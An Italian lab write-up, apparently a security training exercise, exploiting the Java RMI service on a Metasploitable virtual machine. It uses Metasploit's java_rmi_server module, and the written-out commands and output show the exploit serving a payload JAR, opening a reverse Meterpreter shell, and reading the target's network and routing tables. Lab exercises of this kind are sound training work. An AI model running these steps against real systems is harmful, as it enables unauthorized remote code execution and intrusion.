

Oggi eseguiremo un exploit contro il servizio java rmi di metasploitable. L'esercizio ci chiede di sfruttare la vulnerabilità presente sulla porta 1099 e di recuperare la configurazione di rete e le informazioni della tabella di routing. La tabella di routing è la tabella costruita da un router o da un host in cui sono memorizzati gli indirizzi IP di una rete. Essa serve per recapitare a destinazione i pacchetti.

La vulnerabilità in questione consiste nello sfruttare la configurazione standard del servizio java che ci permette, tramite RMI (remote method invocation), di iniettare codice malevolo tramite una URL. Nello specifico l'RMI consente a un oggetto di richiamare un metodo di un altro oggetto presente in un'altra JVM (java virtual machine) da remoto e senza autenticazione.

Cominciamo con il cercare l'exploit:

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank     Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuratio
n Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No     Java RMI Server Insecure Endpoint Code Execut
ion Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privil
ege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Poi vediamo le opzioni:

```
Basic options:
Name      Current Setting  Required  Description
-----
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
ploit.html
RPORT     1099           yes       The target port (TCP)
SRVHOST   0.0.0.0        yes       The local host or network interface to listen on. This must be an address on the local
ne or 0.0.0.0 to listen on all addresses.
SRVPORT   8080           yes       The local port to listen on.
SSL       false          no        Negotiate SSL for incoming connections
SSLCert   no             no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no             no        The URI to use for this exploit (default is random)

Payload information:
Avoid: 0 characters

Description:
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.

Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.

RMI method calls do not support or require any sort of authentication.

References:
http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
http://www.securitytracker.com/id?1026215
https://nvd.nist.gov/vuln/detail/CVE-2011-3556
```

Questo è un modulo normale, quindi sarà la nostra macchina a connettersi al target. Inoltre possiamo impostare una URI (uniform resource identifier, cioè una stringa di caratteri che identifica univocamente una risorsa, tra cui le URL) a piacimento o tenere quella di default. Impostiamo l'host remoto da attaccare ed eseguiamo l'exploit:

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 10.0.2.19
rhosts => 10.0.2.19
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 10.0.2.5:4444
[*] 10.0.2.19:1099 - Using URL: http://10.0.2.5:8080/EUDhOk0r9fz
[*] 10.0.2.19:1099 - Server started.
[*] 10.0.2.19:1099 - Sending RMI Header...
[*] 10.0.2.19:1099 - Sending RMI Call...
[*] 10.0.2.19:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 10.0.2.19
[*] Meterpreter session 1 opened (10.0.2.5:4444 -> 10.0.2.19:48413) at 2024-01-26 12:54:53 +0100

meterpreter > █
```

L'attacco ha aperto una sessione di meterpreter, cioè un payload che permette di aprire una shell interattiva molto potente. Essa ci consente di eseguire diverse azioni tra cui controllare lo schermo del dispositivo attaccato, caricare e scaricare file.

Controlliamo le impostazioni di rete per essere sicuri di aver attaccato la macchina giusta:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 10.0.2.19 linux:linux_kernel
IPv4 Netmask : 255.0.0.0
IPv6 Address : fe80::a00:27ff:fe88:c159
IPv6 Netmask : ::
```

Possiamo dire che l'attacco è riuscito. Prendiamo le informazioni richieste sulla tabella di routing dall'esercizio con il comando "route":

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
10.0.2.19	255.0.0.0	0.0.0.0		
127.0.0.1	255.0.0.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe88:c159	::	::		

```
meterpreter > 
```